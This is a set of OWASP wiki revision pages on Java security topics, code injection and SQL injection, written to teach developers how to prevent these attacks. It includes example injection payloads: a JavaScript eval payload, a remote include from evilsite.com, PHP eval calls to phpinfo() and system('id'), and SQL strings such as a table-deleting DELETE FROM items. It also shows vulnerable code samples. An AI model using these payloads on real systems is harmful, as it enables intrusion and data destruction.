ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
System.out.println(args[0]);<br />
engine.eval("print('"+ args[0] + "')");<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
In this case, the attacker decides to inject code that creates a file on the file system. <br />
<br />
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //<br />
<br />
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass. There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&diff=68873OWASP Java Table of Contents2009-09-15T05:25:53Z<p>Neil Bergman: /* Miscellaneous Injection Attacks */</p>
<hr />
<div><b>Key:</b><br />
* xx%: Progress status of the paragraph<br />
* <b>Review</b>: The paragraph needs a review<br />
* TD: Paragraph to be assigned<br />
<br />
==[[J2EE Security for Architects]]==<br />
Discuss the security implications of common J2EE architectures. This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection. Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.<br />
<br />
Any other security concerns that should be addressed during the design phase should also be mentioned here.<br />
===Design considerations===<br />
* Architectural considerations (0%, TD)<br />
** EJB Middle tier (0%, TD)<br />
** Web Services Middle tier (0%, TD)<br />
** Spring Middle tier (0%, TD)<br />
<br />
==[[J2EE Security for Developers]]==<br />
=== Noteworthy Frameworks ===<br />
Discuss important and relevant Java security frameworks that would be useful to architects. The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.<br />
<br />
(0%, Seeking Volunteers)<br />
* Cocoon<br />
* [[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)<br />
* JSecurity<br />
* SiteMesh<br />
* Spring (0%, Adrian San Juan, TD)<br />
* [[Struts]] (0% Jon Forck)<br />
* Tapestry<br />
* Tiles<br />
* Turbine<br />
* Webwork<br />
* [[Wicket]]<br />
<br />
===Java Security Basics===<br />
Provide an introduction into the basic security services provided by the Java language and environment. Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.<br />
* Class Loading (0%, Philippe Clairet)<br />
* Bytecode verifier (0%, Philippe Clairet)<br />
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)<br />
<br />
===Input Validation Overview ===<br />
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. <br />
<br />
===Input Validation ===<br />
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)<br />
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)<br />
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)<br />
<br />
==== [[Preventing SQL Injection in Java]] ====<br />
* Overview <br />
* Prevention (60%, Stephen de Vries, <b>Review</b>)<br />
** White Listing<br />
** Prepared Statements<br />
** Stored Procedures <br />
** Hibernate <br />
** Ibatis (60%, Rohyt Belani, <b>Review</b>)<br />
** Spring JDBC <br />
** EJB 3.0<br />
** JDO<br />
<br />
==== [[Preventing LDAP Injection in Java]] ====<br />
* Overview (100%, Stephen de Vries, Complete)<br />
* Prevention (100%, Stephen de Vries, Complete)<br />
<br />
==== [[XPATH Injection]] ====<br />
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.<br />
* Overview (0%, TD)<br />
* Prevention (0%, TD)<br />
<br />
==== [[Miscellaneous Injection Attacks]] ====<br />
* HTTP Response splitting (0%, TD)<br />
* [[Code injection in Java]] (50%, Neil Bergman, Review)<br />
* [[Command injection in Java]] - Runtime.getRuntime().exec() (100%, Neil Bergman, Review)<br />
* Regular Expression (regex) Injections (20%)<br />
<br />
''' Status '''<br />
In progress<br />
<br />
=== Authentication===<br />
* [[Storing credentials]] - (20%, Adrian San Juan, <b>Review</b>)<br />
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, <b>Review</b>)<br />
* [[SSL Best Practices]] - (20%, Philippe Curmin, <b>Review</b>)<br />
* [[Captchas in Java]] - (100%, Dave Ferguson, <b>Review</b>) <br />
* Container-managed authentication with Realms<br />
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)<br />
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[Password length & complexity]] - (100%, Adrian San Juan, <b>Review</b>)<br />
<br />
===Session Management ===<br />
The generic problems and solutions for session management are covered in the Guide. This section should focus on Java specific examples.<br />
* Logout (0%, TD)<br />
* Session Timeout (0%, TD)<br />
* Absolute Timeout (0%, TD)<br />
* [[Session Fixation in Java]] (100%, Rohyt Belani, <b>Review</b>)<br />
* Terminating sessions (0%, TD)<br />
** Terminating sessions when the browser window is closed<br />
<br />
===Authorization===<br />
* [[Declarative v/s Programmatic]] (10%, TD)<br />
* EJB Authorization (0%, TD)<br />
* Acegi (0%, TD)<br />
* JACC (0%, TD)<br />
* Check horizontal privilege (0%, TD)<br />
<br />
=== Encryption===<br />
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* Storing db secrets (0%, TD)<br />
* Encrypting JDBC connections (0%, TD)<br />
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)<br />
<br />
=== Error Handling & Logging===<br />
* Logging - why log? what to log? log4j, etc. (0%, TD)<br />
* Exception handling techniques (0%, TD)<br />
** fail-open/fail-closed<br />
** resource cleanup<br />
** finally block<br />
** swallowing exceptions<br />
* Exception handling frameworks (50%, TD)<br />
** Servlet spec - web.xml <br />
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)<br />
** JSP errorPage (0%, TD)<br />
* Web application forensics (0%, TD)<br />
<br />
=== Web Services Security ===<br />
* SAML (0%, TD)<br />
* (X)WS-Security (0%, TD)<br />
* SunJWSDP (0%, TD)<br />
* WSS4J (0%, Eelco Klaver)<br />
* XML Signature (JSR 105) (0%, TD)<br />
* XML Encryption (JSR 106) (0%, TD)<br />
<br />
=== Code Analysis Tools ===<br />
The introduction should cover the advantages and short comings of code analysis tools. An overview of the current state of the art and the available tools would go well here. As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.<br />
* Introduction (0%, TD)<br />
* [[:Category:OWASP LAPSE Project]] (100%, <b>Review</b>)<br />
* FindBugs (0%, TD)<br />
** Creating custom rules<br />
* PMD (0%, TD)<br />
** Creating custom rules<br />
* JLint (0%, TD)<br />
* Jmetrics (0%, TD)<br />
<br />
== J2EE Security For Deployers ==<br />
Practical step-by-step guides to securing various J2EE servers. Examples of secure configurations can also be provided for download. If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained. Users of the configurations should be provided with enough information to make their own risk decisions.<br />
=== Securing Popular J2EE Servers ===<br />
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)<br />
* Securing JBoss (0%, TD)<br />
* Securing WebLogic (0%, TD)<br />
* Securing WebSphere (0%, TD)<br />
* Others...<br />
<br />
=== Defining a Java Security Policy ===<br />
Practical information on creating a Java security policies for J2EE servers.<br />
* PolicyTool - JChains already provides this functionality, one policy tool is enough.<br />
* jChains (www.jchains.org) - (0%, TD)<br />
<br />
=== Protecting Binaries ===<br />
* Bytecode manipulation tools and techniques (0%, TD)<br />
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)<br />
* Convert bytecode to native machine code (0%, TD)<br />
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)<br />
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)<br />
<br />
==J2EE Security for Security Analysts and Testers==<br />
* Using Eclipse to verify Java applications (0%, TD)<br />
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)<br />
* Decompiling Java bytecode (0%, TD)<br />
<br />
== [[Java Security Resources]] (ongoing)==<br />
<br />
[[Category:OWASP Java Project]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Code_Injection&diff=68781Code Injection2009-09-13T18:32:20Z<p>Neil Bergman: /* Examples */</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application. Such an attack may be be performed by adding strings of characters into a cookie or argument values in the URI. This attack makes use of lack of accurate input/output data validation, for example:<br />
<br />
* class of allowed characters (standard regular expressions classes or custom)<br />
* data format<br />
* amount of expected data<br />
* for numerical input, its values<br />
<br />
Code Injection and [[Command Injection]] are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into an application, which then will be executed. Added code is a part of the application itself. It's not external code which is executed, like it would be in Command Injection.<br />
<br />
<!--==Risk Factors==<br />
TBD<br />
--><br />
==Examples ==<br />
<br />
'''Example 1'''<br />
<br />
If a site uses the include() function, which operates on variables sent with the GET method, and there is no validation performed on them, then the attacker may try to execute different code other than the author of the code had in mind.<br />
<br />
The URL below displays information about how to contact with the testsite company.<br />
<br />
http://testsite.com/index.php?page=contact.php<br />
<br />
Below the altered code is code from http://evilsite.com/evilcode.php. The script "evilcode.php" may contain, for example, a phpinfo() function, which is useful for gaining information about the configuration of the environment in which the web service runs.<br />
<br />
http://testsite.com/?page=http://evilsite.com/evilcode.php<br />
<br />
One condition must be satisfied for this example to be successful, namely the web server configuration must allow for including files in the "http://" notation.<br />
<br />
<br />
'''Example 2'''<br />
<br />
When a programmer uses the eval() function and operates on the data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.<br />
<br />
The example below shows how to use the eval() function:<br />
<br />
<pre><br />
$myvar = "varname";<br />
$x = $_GET['arg'];<br />
eval("\$myvar = \$x;");<br />
</pre><br />
<br />
The code above which smells like a rose may be used to perform a Code Injection attack.<br />
<br />
Example: passing in the URI /index.php?arg=1; phpinfo()<br />
<br />
While exploiting bugs like these, the attacker doesn't have to limit himself only to a Code Injection attack. The attacker may tempt himself to use Command Injection technique, for example.<br />
<br />
<pre><br />
/index.pho?arg=1; system('id')<br />
</pre><br />
<br />
<!--==Related [[Threat Agents]]==<br />
TBD<br />
--><br />
<br />
==Related [[Attacks]]==<br />
* [[Command Injection]]<br />
* [[SQL Injection]]<br />
* [[LDAP injection]]<br />
* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category: Input Validation Vulnerability]]<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References==<br />
* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]<br />
* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]<br />
* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]<br />
[[Category:Injection Attack]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&diff=68512OWASP Java Table of Contents2009-09-04T00:12:59Z<p>Neil Bergman: </p>
<hr />
<div><b>Key:</b><br />
* xx%: Progress status of the paragraph<br />
* <b>Review</b>: The paragraph needs a review<br />
* TD: Paragraph to be assigned<br />
<br />
==[[J2EE Security for Architects]]==<br />
Discuss the security implications of common J2EE architectures. This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection. Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.<br />
<br />
Any other security concerns that should be addressed during the design phase should also be mentioned here.<br />
===Design considerations===<br />
* Architectural considerations (0%, TD)<br />
** EJB Middle tier (0%, TD)<br />
** Web Services Middle tier (0%, TD)<br />
** Spring Middle tier (0%, TD)<br />
<br />
==[[J2EE Security for Developers]]==<br />
=== Noteworthy Frameworks ===<br />
Discuss important and relevant Java security frameworks that would be useful to architects. The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.<br />
<br />
(0%, Seeking Volunteers)<br />
* Cocoon<br />
* [[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)<br />
* JSecurity<br />
* SiteMesh<br />
* Spring (0%, Adrian San Juan, TD)<br />
* [[Struts]] (0% Jon Forck)<br />
* Tapestry<br />
* Tiles<br />
* Turbine<br />
* Webwork<br />
* [[Wicket]]<br />
<br />
===Java Security Basics===<br />
Provide an introduction into the basic security services provided by the Java language and environment. Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.<br />
* Class Loading (0%, Philippe Clairet)<br />
* Bytecode verifier (0%, Philippe Clairet)<br />
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)<br />
<br />
===Input Validation Overview ===<br />
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. <br />
<br />
===Input Validation ===<br />
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)<br />
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)<br />
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)<br />
<br />
==== [[Preventing SQL Injection in Java]] ====<br />
* Overview <br />
* Prevention (60%, Stephen de Vries, <b>Review</b>)<br />
** White Listing<br />
** Prepared Statements<br />
** Stored Procedures <br />
** Hibernate <br />
** Ibatis (60%, Rohyt Belani, <b>Review</b>)<br />
** Spring JDBC <br />
** EJB 3.0<br />
** JDO<br />
<br />
==== [[Preventing LDAP Injection in Java]] ====<br />
* Overview (100%, Stephen de Vries, Complete)<br />
* Prevention (100%, Stephen de Vries, Complete)<br />
<br />
==== [[XPATH Injection]] ====<br />
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.<br />
* Overview (0%, TD)<br />
* Prevention (0%, TD)<br />
<br />
==== [[Miscellaneous Injection Attacks]] ====<br />
* HTTP Response splitting (0%, TD)<br />
* [[Command injection in Java]] - Runtime.getRuntime().exec() (100%, Neil Bergman, Review)<br />
* Regular Expression (regex) Injections (20%)<br />
<br />
''' Status '''<br />
In progress<br />
<br />
=== Authentication===<br />
* [[Storing credentials]] - (20%, Adrian San Juan, <b>Review</b>)<br />
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, <b>Review</b>)<br />
* [[SSL Best Practices]] - (20%, Philippe Curmin, <b>Review</b>)<br />
* [[Captchas in Java]] - (100%, Dave Ferguson, <b>Review</b>) <br />
* Container-managed authentication with Realms<br />
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)<br />
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[Password length & complexity]] - (100%, Adrian San Juan, <b>Review</b>)<br />
<br />
===Session Management ===<br />
The generic problems and solutions for session management are covered in the Guide. This section should focus on Java specific examples.<br />
* Logout (0%, TD)<br />
* Session Timeout (0%, TD)<br />
* Absolute Timeout (0%, TD)<br />
* [[Session Fixation in Java]] (100%, Rohyt Belani, <b>Review</b>)<br />
* Terminating sessions (0%, TD)<br />
** Terminating sessions when the browser window is closed<br />
<br />
===Authorization===<br />
* [[Declarative v/s Programmatic]] (10%, TD)<br />
* EJB Authorization (0%, TD)<br />
* Acegi (0%, TD)<br />
* JACC (0%, TD)<br />
* Check horizontal privilege (0%, TD)<br />
<br />
=== Encryption===<br />
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* Storing db secrets (0%, TD)<br />
* Encrypting JDBC connections (0%, TD)<br />
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)<br />
<br />
=== Error Handling & Logging===<br />
* Logging - why log? what to log? log4j, etc. (0%, TD)<br />
* Exception handling techniques (0%, TD)<br />
** fail-open/fail-closed<br />
** resource cleanup<br />
** finally block<br />
** swallowing exceptions<br />
* Exception handling frameworks (50%, TD)<br />
** Servlet spec - web.xml <br />
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)<br />
** JSP errorPage (0%, TD)<br />
* Web application forensics (0%, TD)<br />
<br />
=== Web Services Security ===<br />
* SAML (0%, TD)<br />
* (X)WS-Security (0%, TD)<br />
* SunJWSDP (0%, TD)<br />
* WSS4J (0%, Eelco Klaver)<br />
* XML Signature (JSR 105) (0%, TD)<br />
* XML Encryption (JSR 106) (0%, TD)<br />
<br />
=== Code Analysis Tools ===<br />
The introduction should cover the advantages and short comings of code analysis tools. An overview of the current state of the art and the available tools would go well here. As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.<br />
* Introduction (0%, TD)<br />
* [[:Category:OWASP LAPSE Project]] (100%, <b>Review</b>)<br />
* FindBugs (0%, TD)<br />
** Creating custom rules<br />
* PMD (0%, TD)<br />
** Creating custom rules<br />
* JLint (0%, TD)<br />
* Jmetrics (0%, TD)<br />
<br />
== J2EE Security For Deployers ==<br />
Practical step-by-step guides to securing various J2EE servers. Examples of secure configurations can also be provided for download. If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained. Users of the configurations should be provided with enough information to make their own risk decisions.<br />
=== Securing Popular J2EE Servers ===<br />
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)<br />
* Securing JBoss (0%, TD)<br />
* Securing WebLogic (0%, TD)<br />
* Securing WebSphere (0%, TD)<br />
* Others...<br />
<br />
=== Defining a Java Security Policy ===<br />
Practical information on creating a Java security policies for J2EE servers.<br />
* PolicyTool - JChains already provides this functionality, one policy tool is enough.<br />
* jChains (www.jchains.org) - (0%, TD)<br />
<br />
=== Protecting Binaries ===<br />
* Bytecode manipulation tools and techniques (0%, TD)<br />
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)<br />
* Convert bytecode to native machine code (0%, TD)<br />
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)<br />
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)<br />
<br />
==J2EE Security for Security Analysts and Testers==<br />
* Using Eclipse to verify Java applications (0%, TD)<br />
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)<br />
* Decompiling Java bytecode (0%, TD)<br />
<br />
== [[Java Security Resources]] (ongoing)==<br />
<br />
[[Category:OWASP Java Project]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=SQL_Injection&diff=68229SQL Injection2009-08-30T12:11:12Z<p>Neil Bergman: /* Example 3 */</p>
<hr />
<div>{{Template:Attack}}<br />
[[Category:OWASP ASDR Project]]<br />
[[Category:Security Focus Area]]<br />
__NOTOC__<br><br><br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
== Overview ==<br />
A [[SQL injection]] attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. <br />
SQL injection attacks are a type of [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.<br />
<br />
==Threat Modeling==<br />
* SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server. <br />
* SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections. <br />
* The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.<br />
<br />
==Related Security Activities==<br />
<br />
===How to Avoid SQL Injection Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.<br><br />
See the OWASP [[SQL Injection Prevention Cheat Sheet]].<br />
<br />
===How to Review Code for SQL Injection Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.<br />
<br />
===How to Test for SQL Injection Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.<br />
<br />
==Description==<br />
SQL injection errors occur when:<br />
<br />
# Data enters a program from an untrusted source. <br />
# The data used to dynamically construct a SQL query <br />
<br />
The main consequences are:<br />
<br />
* '''Confidentiality''': Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with [[Glossary#SQL Injection|SQL Injection]] vulnerabilities.<br />
<br />
* '''Authentication''': If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.<br />
<br />
* '''Authorization''': If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a [[Glossary#SQL Injection|SQL Injection]] vulnerability.<br />
<br />
* '''Integrity''': Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a [[Glossary#SQL Injection|SQL Injection]] attack.<br />
<br />
== Risk Factors==<br />
The platform affected can be:<br />
* Language: SQL<br />
* Platform: Any (requires interaction with a SQL database)<br />
<br />
[[Glossary#SQL Injection|SQL Injection]] has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. <br />
<br />
Essentially, the attack is accomplished by placing a meta character into data input to then place SQL commands in the control plane, which did not exist there before. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.<br />
<br />
== Examples ==<br />
<br />
===Example 1===<br />
<br />
In SQL:<br />
<br />
<pre><br />
select id, firstname, lastname from authors<br />
</pre><br />
<br />
If one provided:<br />
<br />
<pre><br />
Firstname: evil'ex<br />
Lastname: Newman<br />
</pre><br />
<br />
the query string becomes:<br />
<br />
<pre><br />
select id, firstname, lastname from authors where forename = 'evil'ex' and surname ='newman'<br />
which the database attempts to run as <br />
</pre><br />
<br />
<pre><br />
Incorrect syntax near al' as the database tried to execute evil. <br />
</pre><br />
<br />
A safe version of the above SQL statement could be coded in Java as:<br />
<br />
<pre><br />
String firstname = req.getParameter("firstname");<br />
String lastname = req.getParameter("lastname");<br />
// FIXME: do your own validation to detect attacks<br />
String query = "SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?";<br />
PreparedStatement pstmt = connection.prepareStatement( query );<br />
pstmt.setString( 1, firstname );<br />
pstmt.setString( 2, lastname );<br />
try<br />
{<br />
ResultSet results = pstmt.execute( );<br />
}<br />
</pre><br />
<br />
===Example 2===<br />
<br />
The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.<br />
<br />
<pre><br />
...<br />
string userName = ctx.getAuthenticatedUserName();<br />
string query = "SELECT * FROM items WHERE owner = "'" <br />
+ userName + "' AND itemname = '" <br />
+ ItemName.Text + "'";<br />
sda = new SqlDataAdapter(query, conn);<br />
DataTable dt = new DataTable();<br />
sda.Fill(dt);<br />
...<br />
</pre><br />
<br />
The query that this code intends to execute follows:<br />
<br />
<pre><br />
SELECT * FROM items<br />
WHERE owner = <br />
AND itemname = ;<br />
</pre><br />
<br />
However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR 'a'='a" for itemName, then the query becomes the following:<br />
<br />
<pre><br />
SELECT * FROM items<br />
WHERE owner = 'wiley'<br />
AND itemname = 'name' OR 'a'='a';<br />
</pre><br />
<br />
The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:<br />
<br />
<pre><br />
SELECT * FROM items;<br />
</pre><br />
<br />
This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.<br />
<br />
===Example 3===<br />
<br />
This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name hacker enters the string "name'; DELETE FROM items; --" for itemName, then the query becomes the following two queries:<br />
<br />
<pre><br />
SELECT * FROM items <br />
WHERE owner = 'hacker'<br />
AND itemname = 'name';<br />
<br />
DELETE FROM items;<br />
<br />
--'<br />
</pre><br />
<br />
Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error in Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, in databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.<br />
<br />
Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string "name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a", the following three valid statements will be created:<br />
<br />
<pre><br />
SELECT * FROM items <br />
WHERE owner = 'hacker'<br />
AND itemname = 'name';<br />
<br />
DELETE FROM items;<br />
<br />
SELECT * FROM items WHERE 'a'='a';<br />
</pre><br />
<br />
One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:<br />
<br />
* Target fields that are not quoted <br />
* Find ways to bypass the need for certain escaped meta-characters <br />
* Use stored procedures to hide the injected meta-characters <br />
<br />
Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.<br />
<br />
Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.<br />
<br />
<pre><br />
procedure get_item (<br />
itm_cv IN OUT ItmCurTyp,<br />
usr in varchar2,<br />
itm in varchar2)<br />
is<br />
open itm_cv for ' SELECT * FROM items WHERE ' ||<br />
'owner = '''|| usr || <br />
' AND itemname = ''' || itm || '''';<br />
end get_item;<br />
</pre><br />
<br />
Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.<br />
<br />
==Related [[Threat Agents]]==<br />
* [[:Category:Command Execution]] <br />
* [[Injection problem]]<br />
<br />
==Related [[Attacks]]==<br />
* [[Top 10 2007-Injection Flaws | injection attack]]<br />
* [[Blind SQL Injection]]<br />
* [[Code Injection]]<br />
* [[Double Encoding]]<br />
* [[Interpreter_Injection#ORM_Injection]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category:Input Validation Vulnerability]]<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Static Code Analysis]]<br />
[[Category:FIXME|this was the text that was here before we added the links. Can it be deleted?<br />
Avoidance and mitigation <br />
<br />
* Requirements specification: A non-SQL style database which is not subject to this flaw may be chosen.<br />
<br />
* Implementation: Use vigorous white-list style checking on any user input that may be used in an SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that has been entered in the database may neglect to escape meta-characters before use.<br />
<br />
* Image:Advanced Topics on SQL Injection Protection.ppt<br />
]]<br />
<br />
==References ==<br />
* [http://www.greensql.net/ GreenSQL Open Source SQL Injection Filter] - An Open Source database firewall used to protect databases from SQL injection attacks.<br />
* [http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf An Introduction to SQL Injection Attacks for Oracle Developers] - This also includes recommended defenses.<br />
* OWASP [[:Category:OWASP_SQLiX_Project | SQLiX Project]] - An SQL Injection Scanner.<br />
